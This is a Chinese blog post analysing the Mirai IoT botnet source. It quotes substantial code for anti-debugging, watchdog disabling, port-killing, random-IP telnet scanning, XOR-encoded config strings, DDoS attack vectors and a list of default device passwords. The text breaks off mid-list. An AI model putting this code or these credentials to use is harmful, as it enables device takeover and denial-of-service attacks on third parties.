1. 程式人生 > >病毒分析--mirai物聯網病毒

病毒分析--mirai物聯網病毒

物聯網僵屍網路病毒“Mirai”在上月參與發起了針對KrebOnSecurity安全站點的大規模分散式DDoS攻擊,新一類僵屍網路從各種容易被感染的物聯網裝置中發起,流量巨大防不勝防。“Mirai”可以高效掃描物聯網系統裝置,感染採用出廠密碼設定或弱密碼加密的脆弱物聯網裝置,被病毒感染後,裝置成為僵屍網路機器人後在黑客命令下發動高強度僵屍網路攻擊。本文針對Mirai原始碼進行詳細分析。

1.    程式碼結構

如下圖所示,主要包含兩個資料夾,其中loader資料夾為載入器,完成服務端建立和狀態監控的功能;mirai資料夾完成主要的惡意功能,包含網路連線、DDOS執行、下載(等工具的實現)以及主控端操作功能。

程式碼結構

程式碼結構

2.    感染途徑

攻擊者通過SSH或Telnet賬號,使用預設密碼入侵物聯網裝置。

3.    功能實現

程式碼實現的惡意功能從原始碼來看,主要包含3方面,主要是bot資料夾,實現反除錯、隱藏自身程序、設定初始的域名埠值、設定預設弱口令、網路連線及DDOS攻擊功能;Tools資料夾,實現wget、更新檔案、異或資料等工具性功能。CNC資料夾能夠在主控端對成功感染的bot進行監控並作為接收指令端解析指令併發起ddos攻擊。

同時bot資料夾下實現功能時,會開啟PF_INET(原始套接字,TCP的UNIX網路套接字),並將它繫結到本地主機IP地址127.0.0.1的埠TCP/48101,之後開始監聽連入連線。一旦網路中有一個裝置受感染,則會通過Telnet服務連線,進一步擴大感染範圍。

4.    Bot資料夾

從程式碼函式功能上看,具有以下功能:

反GDB除錯,解析CC地址,網路連線、實現DDOS攻擊等功能。

static void anti_gdb_entry(int);            
static void resolve_cnc_addr(void);          
static void establish_connection(void);
static void teardown_connection(void);
static void ensure_single_instance(void);
static BOOL unlock_tbl_if_nodebug
(char *)
;

如果監測到gdb除錯,則進行自刪除,阻止watchdog重新啟動裝置,並顯示連線CC地址失敗。

// Delete self
    unlink(args[0]);
 
    // Signal based control flow
    sigemptyset(&sigs);
    sigaddset(&sigs, SIGINT);
    sigprocmask(SIG_BLOCK, &sigs, NULL);
    signal(SIGCHLD, SIG_IGN);
    signal(SIGTRAP, &anti_gdb_entry);
 
    // Prevent watchdog from rebooting device
    if ((wfd = open("/dev/watchdog", 2)) != -1 ||
        (wfd = open("/dev/misc/watchdog", 2)) != -1)
    {
        int one = 1;
 
        ioctl(wfd, 0x80045704, &one);
        close(wfd);
        wfd = 0;
    }
    chdir("/");

確保每次只有一個例項執行(通過連線本地埠48101),並通過此埠號關閉相對應的程序。

addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = local_bind ? (INET_ADDR(127,0,0,1)) : LOCAL_ADDR;
    addr.sin_port = htons(SINGLE_INSTANCE_PORT);
 
    // Try to bind to the control port
    errno = 0;
    if (bind(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
    {
        if (errno == EADDRNOTAVAIL && local_bind)
            local_bind = FALSE;
#ifdef DEBUG
        printf("[main] Another instance is already running (errno = %d)! Sending kill request...\r\n", errno);
#endif

隱藏程序

// Hide argv0
    name_buf_len = ((rand_next() % 4) + 3) * 4;
    rand_alphastr(name_buf, name_buf_len);
    name_buf[name_buf_len] = 0;
    util_strcpy(args[0], name_buf);
 
    // Hide process name
    name_buf_len = ((rand_next() % 6) + 3) * 4;
    rand_alphastr(name_buf, name_buf_len);
    name_buf[name_buf_len] = 0;
    prctl(PR_SET_NAME, name_buf);
 
    // Print out system exec
    table_unlock_val(TABLE_EXEC_SUCCESS);
    tbl_exec_succ = table_retrieve_val(TABLE_EXEC_SUCCESS, &tbl_exec_succ_len);
    write(STDOUT, tbl_exec_succ, tbl_exec_succ_len);
    write(STDOUT, "\n", 1);
    table_lock_val(TABLE_EXEC_SUCCESS);

攻擊初始化,設定攻擊型別,包含UDP、VSE、DNS、SYN等多種DDOS攻擊方式。

BOOL attack_init(void)
{
    int i;
 
    add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic);
    add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse);
    add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns);
    add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain);
    add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn);
    add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack);
    add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp);
    add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip);
    add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth);
//add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy);
add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http);
 
    return TRUE;
}

埠初始化,通過埠號關閉使用telnet、SSH、HTTP服務的其他程序,並防止其重新啟動。

    // Kill telnet service and prevent it from restarting
#ifdef KILLER_REBIND_TELNET
#ifdef DEBUG
    printf("[killer] Trying to kill port 23\n");
#endif
    if (killer_kill_by_port(htons(23)))
    {
#ifdef DEBUG
        printf("[killer] Killed tcp/23 (telnet)\n");
#endif
    } else {
#ifdef DEBUG
        printf("[killer] Failed to kill port 23\n");
#endif
    }
    tmp_bind_addr.sin_port = htons(23);
 
    if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
    {
        bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
        listen(tmp_bind_fd, 1);
    }
#ifdef DEBUG
    printf("[killer] Bound to tcp/23 (telnet)\n");
#endif
#endif
// Kill SSH service and prevent it from restarting
……
// Kill HTTP service and prevent it from restarting
……

掃描初始化,掃描區域網中具有弱口令以及開放23埠的其他裝置

// Set up IPv4 header
    iph->ihl = 5;
    iph->version = 4;
    iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr));
    iph->id = rand_next();
    iph->ttl = 64;
    iph->protocol = IPPROTO_TCP;
 
    // Set up TCP header
    tcph->dest = htons(23);
    tcph->source = source_port;
    tcph->doff = 5;
    tcph->window = rand_next() & 0xffff;
    tcph->syn = TRUE;
 
    // Set up passwords
    add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10);                    // root     xc3511
    add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9);                          // root     vizxv
    add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8);                          // root     admin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7);
……
 
static ipv4_tget_random_ip(void)
{
    uint32_ttmp;
    uint8_to1, o2, o3, o4;
 
    do
    {
        tmp = rand_next();
 
        o1 = tmp & 0xff;
        o2 = (tmp >> 8) & 0xff;
        o3 = (tmp >> 16) & 0xff;
        o4 = (tmp >> 24) & 0xff;
    }
    while (o1 == 127 ||                            // 127.0.0.0/8      - Loopback
          (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space
          (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company
          (o1 == 15 || o1 == 16) ||                // 15.0.0.0/7       - Hewlett-Packard Company
          (o1 == 56) ||                            // 56.0.0.0/8       - US Postal Service
          (o1 == 10) ||                            // 10.0.0.0/8       - Internal network
          (o1 == 192 && o2 == 168) ||              // 192.168.0.0/16   - Internal network
          (o1 == 172 && o2 >= 16 && o2 < 32) ||    // 172.16.0.0/14    - Internal network
          (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
          (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
          (o1 == 198 && o2 >= 18 && o2 < 20) ||    // 198.18.0.0/15    - IANA Special use
          (o1 >= 224) ||                            // 224.*.*.*+       - Multicast
          (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
    );
 
    return INET_ADDR(o1,o2,o3,o4);
}

其中使用者名稱密碼的加密演算法為:

    for (i = 0; i < *len; i++)
    {
        cpy[i] ^= 0xDE;
        cpy[i] ^= 0xAD;
        cpy[i] ^= 0xBE;
        cpy[i] ^= 0xEF;
    }

當檢測到新的例項執行時,則終止自身程序,同時終止掃描和所有的攻擊任務。

連線域名及埠號

在原始碼中硬編碼方式嵌入了連線的域名和埠號,其中的域名字串都可以使用Tools資料夾下的enc.c所示的演算法進行還原。

void table_init(void)
{
    add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com
    add_entry(TABLE_CNC_PORT, "\x22\x35", 2);  // 23
 
    add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 29); // report.changeme.com
    add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2);        // 48101
 
    add_entry(TABLE_EXEC_SUCCESS, "\x4E\x4B\x51\x56\x47\x4C\x4B\x4C\x45\x02\x56\x57\x4C\x12\x22", 15);
    // safe string https://youtu.be/dQw4w9WgXcQ
    add_entry(TABLE_KILLER_SAFE, "\x4A\x56\x56\x52\x51\x18\x0D\x0D\x5B\x4D\x57\x56\x57\x0C\x40\x47\x0D\x46\x73\x55\x16\x55\x1B\x75\x45\x7A\x41\x73\x22", 29);
    add_entry(TABLE_KILLER_PROC, "\x0D\x52\x50\x4D\x41\x0D\x22", 7);
    add_entry(TABLE_KILLER_EXE, "\x0D\x47\x5A\x47\x22", 5);
    add_entry(TABLE_KILLER_DELETED, "\x02\x0A\x46\x47\x4E\x47\x56\x47\x46\x0B\x22", 11);
    add_entry(TABLE_KILLER_FD, "\x0D\x44\x46\x22", 4);
    add_entry(TABLE_KILLER_ANIME, "\x0C\x43\x4C\x4B\x4F\x47\x22", 7);
    add_entry(TABLE_KILLER_STATUS, "\x0D\x51\x56\x43\x56\x57\x51\x22", 8);
    add_entry(TABLE_MEM_QBOT, "\x70\x67\x72\x6D\x70\x76\x02\x07\x51\x18\x07\x51\x22", 13);
    add_entry(TABLE_MEM_QBOT2, "\x6A\x76\x76\x72\x64\x6E\x6D\x6D\x66\x22", 10);
    add_entry(TABLE_MEM_QBOT3, "\x6E\x6D\x6E\x6C\x6D\x65\x76\x64\x6D\x22", 10);
    add_entry(TABLE_MEM_UPX, "\x7E\x5A\x17\x1A\x7E\x5A\x16\x66\x7E\x5A\x16\x67\x7E\x5A\x16\x67\x7E\x5A\x16\x11\x7E\x5A\x17\x12\x7E\x5A\x16\x14\x7E\x5A\x10\x10\x22", 33);
    add_entry(TABLE_MEM_ZOLLARD, "\x58\x4D\x4E\x4E\x43\x50\x46\x22", 8);
    add_entry(TABLE_MEM_REMAITEN, "\x65\x67\x76\x6E\x6D\x61\x63\x6E\x6B\x72\x22", 11);
    add_entry(TABLE_SCAN_SHELL, "\x51\x4A\x47\x4E\x4E\x22", 6);
    add_entry(TABLE_SCAN_ENABLE, "\x47\x4C\x43\x40\x4E\x47\x22", 7);
    add_entry(TABLE_SCAN_SYSTEM, "\x51\x5B\x51\x56\x47\x4F\x22", 7);
    add_entry(TABLE_SCAN_SH, "\x51\x4A\x22", 3);
    add_entry(TABLE_SCAN_QUERY, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x6F\x6B\x70\x63\x6B\x22", 19);
    add_entry(TABLE_SCAN_RESP, "\x6F\x6B\x70\x63\x6B\x18\x02\x43\x52\x52\x4E\x47\x56\x02\x4C\x4D\x56\x02\x44\x4D\x57\x4C\x46\x22", 24);
    add_entry(TABLE_SCAN_NCORRECT, "\x4C\x41\x4D\x50\x50\x47\x41\x56\x22", 9);
    add_entry(TABLE_SCAN_PS, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x52\x51\x22", 16);
    add_entry(TABLE_SCAN_KILL_9, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x49\x4B\x4E\x4E\x02\x0F\x1B\x02\x22", 22);
    add_entry(TABLE_ATK_VSE, "\x76\x71\x4D\x57\x50\x41\x47\x02\x67\x4C\x45\x4B\x4C\x47\x02\x73\x57\x47\x50\x5B\x22", 21);
    add_entry(TABLE_ATK_RESOLVER, "\x0D\x47\x56\x41\x0D\x50\x47\x51\x4D\x4E\x54\x0C\x41\x4D\x4C\x44\x22", 17);
    add_entry(TABLE_ATK_NSERV, "\x4C\x43\x4F\x47\x51\x47\x50\x54\x47\x50\x02\x22", 12);
    add_entry(TABLE_ATK_KEEP_ALIVE, "\x61\x4D\x4C\x4C\x47\x41\x56\x4B\x4D\x4C\x18\x02\x49\x47\x47\x52\x0F\x43\x4E\x4B\x54\x47\x22", 23);
    add_entry(TABLE_ATK_ACCEPT, "\x63\x41\x41\x47\x52\x56\x18\x02\x56\x47\x5A\x56\x0D\x4A\x56\x4F\x4E\x0E\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x4A\x56\x4F\x4E\x09\x5A\x4F\x4E\x0E\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x4F\x4E\x19\x53\x1F\x12\x0C\x1B\x0E\x4B\x4F\x43\x45\x47\x0D\x55\x47\x40\x52\x0E\x08\x0D\x08\x19\x53\x1F\x12\x0C\x1A\x22", 83);
    add_entry(TABLE_ATK_ACCEPT_LNG, "\x63\x41\x41\x47\x52\x56\x0F\x6E\x43\x4C\x45\x57\x43\x45\x47\x18\x02\x47\x4C\x0F\x77\x71\x0E\x47\x4C\x19\x53\x1F\x12\x0C\x1A\x22", 32);
    add_entry(TABLE_ATK_CONTENT_TYPE, "\x61\x4D\x4C\x56\x47\x4C\x56\x0F\x76\x5B\x52\x47\x18\x02\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x0F\x55\x55\x55\x0F\x44\x4D\x50\x4F\x0F\x57\x50\x4E\x47\x4C\x41\x4D\x46\x47\x46\x22", 48);
    add_entry(TABLE_ATK_SET_COOKIE, "\x51\x47\x56\x61\x4D\x4D\x49\x4B\x47\x0A\x05\x22", 12);
    add_entry(TABLE_ATK_REFRESH_HDR, "\x50\x47\x44\x50\x47\x51\x4A\x18\x22", 9);
    add_entry(TABLE_ATK_LOCATION_HDR, "\x4E\x4D\x41\x43\x56\x4B\x4D\x4C\x18\x22", 10);
    add_entry(TABLE_ATK_SET_COOKIE_HDR, "\x51\x47\x56\x0F\x41\x4D\x4D\x49\x4B\x47\x18\x22", 12);
    add_entry(TABLE_ATK_CONTENT_LENGTH_HDR, "\x41\x4D\x4C\x56\x47\x4C\x56\x0F\x4E\x47\x4C\x45\x56\x4A\x18\x22", 16);
    add_entry(TABLE_ATK_TRANSFER_ENCODING_HDR, "\x56\x50\x43\x4C\x51\x44\x47\x50\x0F\x47\x4C\x41\x4D\x46\x4B\x4C\x45\x18\x22", 19);
    add_entry(TABLE_ATK_CHUNKED, "\x41\x4A\x57\x4C\x49\x47\x46\x22", 8);
    add_entry(TABLE_ATK_KEEP_ALIVE_HDR, "\x49\x47\x47\x52\x0F\x43\x4E\x4B\x54\x47\x22", 11);
    add_entry(TABLE_ATK_CONNECTION_HDR, "\x41\x4D\x4C\x4C\x47\x41\x56\x4B\x4D\x4C\x18\x22", 12);
    add_entry(TABLE_ATK_DOSARREST, "\x51\x47\x50\x54\x47\x50\x18\x02\x46\x4D\x51\x43\x50\x50\x47\x51\x56\x22", 18);
    add_entry(TABLE_ATK_CLOUDFLARE_NGINX, "\x51\x47\x50\x54\x47\x50\x18\x02\x41\x4E\x4D\x57\x46\x44\x4E\x43\x50\x47\x0F\x4C\x45\x4B\x4C\x5A\x22", 25);
 
    add_entry(TABLE_HTTP_ONE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x13\x12\x0C\x12\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x13\x0C\x12\x0C\x10\x15\x12\x16\x0C\x13\x12\x11\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 111);
    add_entry(TABLE_HTTP_TWO, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x13\x12\x0C\x12\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x10\x0C\x12\x0C\x10\x15\x16\x11\x0C\x13\x13\x14\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 111);
    add_entry(TABLE_HTTP_THREE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x14\x0C\x13\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x13\x0C\x12\x0C\x10\x15\x12\x16\x0C\x13\x12\x11\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 110);
    add_entry(TABLE_HTTP_FOUR, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x14\x0C\x13\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x10\x0C\x12\x0C\x10\x15\x16\x11\x0C\x13\x13\x14\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 110);
    add_entry(TABLE_HTTP_FIVE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x6F\x43\x41\x4B\x4C\x56\x4D\x51\x4A\x19\x02\x6B\x4C\x56\x47\x4E\x02\x6F\x43\x41\x02\x6D\x71\x02\x7A\x02\x13\x12\x7D\x13\x13\x7D\x14\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x14\x12\x13\x0C\x15\x0C\x15\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x74\x47\x50\x51\x4B\x4D\x4C\x0D\x1B\x0C\x13\x0C\x10\x02\x71\x43\x44\x43\x50\x4B\x0D\x14\x12\x13\x0C\x15\x0C\x15\x22", 117);
}

其目標為使用busybox的裝置。

if (memmem(buf, got, "BusyBox", 7) != NULL)
{
    state->got_prompt = 1;
    
    //maybe we are logged in already? LOL
    sockprintf(state->fd, "enable\r\n");
    state->state = 7;
    break;
}

DDOS攻擊方法

#define ATK_VEC_UDP        0  /* Straight up UDP flood */
#define ATK_VEC_VSE        1  /* Valve Source Engine query flood */
#define ATK_VEC_DNS        2  /* DNS water torture */
#define ATK_VEC_SYN        3  /* SYN flood with options */
#define ATK_VEC_ACK        4  /* ACK flood */
#define ATK_VEC_STOMP      5  /* ACK flood to bypass mitigation devices */
#define ATK_VEC_GREIP       6  /* GRE IP flood */
#define ATK_VEC_GREETH     7  /* GRE Ethernet flood */
//#define ATK_VEC_PROXY     8  /* Proxy knockback connection */
#define ATK_VEC_UDP_PLAIN  9  /* Plain UDP flood optimized for speed */
#define ATK_VEC_HTTP        10 /* HTTP layer 7 flood */

設定使用者名稱密碼

add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10);              // root     xc3511
add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9);                  // root     vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8);                  // root     admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7);              // admin    admin
add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6);            // root     888888
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5);          // root     xmhdipc
add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5);            // root     default
add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5);        // root     juantech
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5);                // root     123456
add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5);                    // root     54321
add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5);// support  support
add_auth_entry("\x50\x4D\x4D\x56", "", 4);                                      // root     (none)
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4);  // admin    password
add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4);                      // root     root
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4);                    // root     12345
add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3);                        // user     user
add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3);                                  // admin    (none)
add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3);                        // root     pass
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3);
// admin    admin1234
add_auth_entry("\x50\x4D\x4D\x56", 
            
           

相關推薦

病毒分析--mirai聯網病毒

物聯網僵屍網路病毒“Mirai”在上月參與發起了針對KrebOnSecurity安全站點的大規模分散式DDoS攻擊,新一類僵屍網路從各種容易被感染的物聯網裝置中發起,流量巨大防不勝防。“Mirai”可以高效掃描物聯網系統裝置,感染採用出廠密碼設定或弱密碼加密的脆弱物聯網裝

聯網病毒原理-Mirai原始碼分析

1. 概述 Mirai病毒是物聯網病毒的鼻祖,由於其具備了所有僵屍網路病毒的基本功能(爆破、C&C連線、DDoS攻擊),後來的許多物聯網病毒都是基於Mirai原始碼進行更改的。所以對研究Mirai的原始碼可以讓我們對物聯網病毒有個全面的瞭解。 專案地址:https://git

[病毒分析]某款勒索病毒分析

1.樣本概況 1.1 樣本資訊 1.病毒名稱:1.exe 2.檔案大小:327680 bytes 3.MD5: DBD5BEDE15DE51F6E5718B2CA470FC3F 4.SHA1: 863F5956863D793298D92610377B705F85FA42B5 5.CR

資料分析聯網的應用(一)

資料分析這個行業在於現在來說的話已經不算是一個新興的行業,在很多年前就有了資料分析這個概念,只不過是這幾年來資訊發展誕生的物聯網、雲端計算以及大資料的出現讓資料分析逐漸地走進的人們的生活,不斷地被人們多瞭解。那麼資料分析在物聯網上的應用都有哪些呢?下面就由小編為大家解答一下這個問題。 首先給大家說一下雲

資料分析聯網的應用(二)

在上一篇文章中我們給大家講述了資料分析中的雲-邊-端架構,但是資料分析在物聯網中的應用遠遠不止這些,還有很多的內容,我們在這篇文章中給大家詳細地介紹一下剩餘的內容。 這篇文章重點給大家說一說IOT中的知識圖譜。那麼什麼是IOT呢?IOT就是物聯網。IOT的知識圖譜的要點有很多:語義物聯、圖譜使能、知識規

聯網MQTT協議分析和開源Mosquitto部署驗證

-h etc 遙感 並且 傳輸 物聯網平臺 發布消息 情況 all 在《物聯網核心協議—消息推送技術演進》一文中已向讀者介紹了多種消息推送技術的情況,包括HTTP單向通信、Ajax輪詢、Websocket、MQTT、CoAP等,其中MQTT協議為IBM制定並力推

病毒分析第二講,分析病毒的主要功能

進入 cnblogs and 定位 mic 1-1 ftw com png ---恢復內容開始---              病毒分析第二講,分析病毒的主要功能 經過昨天病毒分析第一講,得出一個被註入的DLL 開始分析DLL主要功能 PS: IDA中,DLL會有各種初始化

聯網安全分析

物聯網萬物互聯的時代(IOT)已經在技術的高速革新中,逐漸走向了我們。或許現在大家並不能直接的感受到物聯網現如今給我們生活帶來的改變,但不妨這邊我們可以想象下:陽光照進你的臥室,你的鬧鐘將會根據你的睡眠狀態,將您喚醒,廚房會自動制作你設定好的早餐,如果是冬天的話,車會在您上車前為您打開暖氣,貼心又舒適。當然在

聯網硬件安全分析基礎-固件提取

識別 暴露 ges content 情況下 進一步 路由器 基礎知識 bdd 物聯網硬件安全分析基礎-固件提取 前言 上篇初步介紹一些硬件基礎知識和分析硬件所需要的基本工具,本篇將講述利用編程器直接讀取芯片固件的方法。 編程器讀取 通過夾具夾住芯片引腳,然後連接編程器讀取芯

聯網硬件安全分析基礎-硬件分析初探

尺寸 read 電腦系統 藍牙模塊 含義 額外 以及 區分 ima 物聯網硬件安全分析基礎-硬件分析初探 作者:獨抒@伏宸安全實驗室 前言 當我們在分析IOT設備,如智能攝像頭、智能門鎖、智能路由器等等產品時,采用傳統的安全檢測手段,如對APP的逆向、雲端服務器的滲透測

delphi程序病毒分析

delphi文件: C__Users_SETH_AppData_Local_Temp_Scanned Copy[1].exe大小: 776704 bytes修改時間: 2018年1月29日, 13:37:20MD5: 9B2130F13784B915088BB83E272B8C4DSHA1: A3284EE1

聯網課程培訓,聯網培訓機構分析

物聯網網絡的不斷普及為各種新溝通的建立創造了機會無論是在生產、醫療、家居、環境檢測、公共安全等各個領域,網絡可以為物體與物體之間,人與物體之間,乃至人與自然萬物之間的順暢溝通創造無限可能。物聯網時代將創造一個無限可能的未來。 物聯網三大要素: 1、終端感知:將傳感器嵌入需要關註和采集的地點、物體以及系統中,實

病毒分析:虛擬網絡環境配置

dns thread rep dns服務器 註釋 兩個 虛擬網絡 服務器 查看 創建主機網絡模式: 主機模式(Host-only)網絡,可以在宿主操作系統和客戶操作系統之間創建一個隔離的私有局域網,在進行惡意代碼分析時,這是通常采用的聯網方式。主機模式的局域網並不會連接到互

[Android病毒分析]鎖屏病毒之免流伺服器

鎖屏病毒之免流伺服器 一、 樣本概況 1.1 樣本資訊 檔名稱:免流伺服器.apk 檔案型別:application/jar 樣本包名:zs.ip.proxy 樣本大小:782KB MD5:2EFCA46F34A565C2EF4052B89B6B364B SHA1:5493A95

[Android病毒分析]鎖屏病毒之百變氣泡

鎖屏病毒之百變氣泡 一、樣本概況 1.1 樣本分析 檔名稱:百變氣泡 檔案型別:application/jar 樣本包名:Aaron.tencent.kou 樣本大小:287KB MD5:e7c653a4195cd36f27933b4ef1fe8328 SHA1:126B25E8

[病毒分析]Office2003巨集病毒

樣本資訊: 病毒名稱:Office2003巨集病毒 MD5: 52E3DDB2349A26BB2F6AE66880A6130C SHA1: A86DC1842355E6999DE100B85B85A7C1589E4BBC CRC32: 7D21F812 環境: Win7專業版32

[病毒分析]熊貓燒香

熊貓燒香病毒分析報告 1.樣本概況 1.1 樣本資訊 1.2 測試環境及工具 1.3 分析目標 2.具體行為分析 2.1 主要行為 2.1.1 惡意程式對使用者造成的危害

更適合聯網的邊緣計算,可能只是投機者的一塊雞肋 (雲端計算和邊緣計算對比分析

摘要:  物聯網又迎來了新風口,但這個風口咬下去可能沒多少肉。 圖片來源 © 視覺中國 前沿科技產業的一個特點,就是總會給大家制造出各種各樣的風口。這些風口往往有著特別酷炫的名字,有強大的學術論證和巨頭背書,但真正落實到應用性和商業行為當中,結果怎麼樣又不好說了。 比

聯網環境下裝置運維解決方案分析

簡要的分析下在物聯網環境下裝置運維方向解決方案的開發。 1. 需求 物聯網環境下,物端,也就是裝置有兩個基本特徵,一個就是數量特別的大,另外一個就是非本地管理。 數量大,分佈廣 這個有很多的報告都給出了類似的預測。 非本地管理 本地管理的最典型的例子就是PC機,例

聯網觀察:2019聯網發展趨勢前瞻分析之5G的誤判和正確的姿勢

一、關於5G的發展與期望 首先我們一定確認這次物聯網在全球的爆發性發展,很大程度是得益於5G的發展。從通訊網本身來說4G的發展歷史本來時間不長,而且還有很大的空間和增長。為什麼業界會急於推動5G的發展呢? 從2013年底我國開始發放4G的牌照到今天,短短的5年時間,4G發展超過了所有人的預期。截止20